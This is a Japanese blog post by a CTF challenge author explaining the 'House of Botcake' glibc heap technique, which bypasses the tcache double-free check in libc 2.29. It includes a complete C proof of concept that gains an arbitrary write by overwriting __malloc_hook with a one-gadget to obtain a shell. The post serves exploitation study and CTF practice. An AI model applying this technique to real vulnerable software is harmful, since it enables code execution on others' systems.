イントロ Link to this heading

ある夜中に pwn の問題を作ろうとウトウトしながら過去の exploit 手法を漁っていた。 いくつか作りたい問題のアイディアこそ挙げていたのだが、その中に tcache を題材としたものがあった。

libc2.28 から tcache には新しく key というメンバが追加され、 free() されるとそこに tcache のアドレスが代入されるようになった。 同時に free() の際には key の値をチェックし、もしこれが tcache のアドレスと同一であった場合には Double Free としてエラーを吐くというような検知機構になっている。 (厳密には keyfree() 前にはユーザランドに存在し、 1/2^64 の確率で tcache のアドレスと一致してしまうため、仮に free() 時に偶然にも key==tcache となっていた場合には tcache のエントリを全探索して他の bin のような Double Free 検知を行うようにしてある。 キャッシュ効率を高める tcache の原理に反しているように思えるが、その再現確率の低さと tcache の最大サイズが 7 であることによる全探索のコストの低さを考慮したものと思われる)。

これ故に Double Free で chunk を tcache に繋げることは以前より難しくなっている。 この機構を bypass する問題がなにか作れないかなぁと思い、 モンスターを飲みながら、以前書いたブログの下書きである「既に使えなくなった pwn exploit 一覧と現状」というエントリを見直していた。

丁度House of Einherjarを復習していた。 これは_int_free()における back consolidation に於いて prev_sizePREV_INUSE を改変するというテクニックであるのは赤子から老人まで万人が知ることである。 この back consolidation を利用して tcache 関連の問題を作れないかと考えて 深夜1時にアイディアを思いつき PoC を書いたところ、 libc 2.29 環境下に於いて free 済み chunk を tcache に繋ぎ、 更にその fd を任意に書き換えることで AAW を実現することができた。

こりゃあいいと思い、ブログを書く準備をしていたところ・・・


既出!


既出!!!!


既出!!!!!!!!!!


名前までご丁寧につけられていて House of Botcake と言うそうです。

House of Botcake Link to this heading

how2heap の commit 履歴に依ると、 2020 年 2 月に公開された模様。

できること Link to this heading

AAW

制約 Link to this heading

  • 2 種類のサイズの malloc()。 そのうち一つのサイズに対しては 9 回 malloc() ができること
  • プログラムのロジック的に一度だけ Double Free が可能なこと

手法と PoC Link to this heading

おそらく House of xxx 系では一番シンプルだと思われる。 まずは PoC が以下の通り:

poc.c
 1#include<stdio.h>
 2#include<stdlib.h>
 3#include<string.h>
 4
 5#define WAIT while(fgetc(stdin)!='\n');
 6#define ull unsigned long long
 7
 8ull ogs[3] = {0xc1710,0xdf202,0xdf20e};
 9
10
11int main(int argc,char *argv)
12{
13  // for the simplicity, let me gather some libc information
14  ull libcbase = (ull)stdout -0x3b4760;
15  ull malloc_hook = 0x3b3c30 + libcbase;
16
17  // House of Botcake
18  ull *a[7];
19  for(int ix=0;ix!=7;++ix) //just to fulfill tcache
20    a[ix] = malloc(0x90);
21  ull *b = malloc(0x90); //invoke consolidation
22  ull *c = malloc(0x90);
23  ull *d = malloc(0x90); //avoid consolidation
24
25  for(int ix=0;ix!=7;++ix)
26    free(a[ix]);
27  free(c);
28  free(b); //invoke back-consolidation and overwrite c's key
29
30  a[0] = malloc(0x90); // make space for c
31  free(c); // connected to tcache. its key is no longer &tcache
32
33  a[0] = malloc(0x120); // picked from unsortedbin and contains c in it
34  *(ull*)(((ull)a[0]) + 0x90 + 0x10) = malloc_hook;
35
36  a[1] = malloc(0x90);
37  a[1] = malloc(0x90);
38  *a[1] = (ull)(libcbase + ogs[0]);
39
40  malloc(0x300); // invoke onegadget and get shell
41
42  return 0;
43}

殆どコメントに付してある通りである。

まず最初に tcache を満員にする用 7 つ、 back consolidation 用 2 つ、 avoid consolidation 用 1 つの chunk を確保しておく。 その後 7 つの chunk を free() して tcache を満員にする。 その後 C を free() すると、 これは unsorted に入るため bk(key) には main_arena のアドレスが入る。 その後 B を free() すると、back consolidation が起こり B と C が合体する。 この際 C のメタ情報は消去されずに、 大きな chunk に包含されるかたちで取り残される。 この取り残された C に対して再び malloc() をしてやると key のチェックでは入っている値が &tcache ではなく &main_arena であるから Double Free の検知には引っかからず C は tcache に繋がれることになる。 しかも、その後任意のサイズ(>0x90)の malloc() をすることで B+C の unsorted から chunk が切り出されるのだが、 それにより C の fd を任意の値に書き換えることができて AAW となる。

実際に PoC を動かしてみると:

tcache に繋がっているのは0x555555757760の chunk であるが:

これは0x5555557576b0の chunk(=B+C) に包含されていることが分かる。 手元の環境では __malloc_hook overwrite で onegadget に飛ばせることを確認した。

アウトロ Link to this heading

自分のアイディアなんて 5 億年前に誰かが既にやっとる。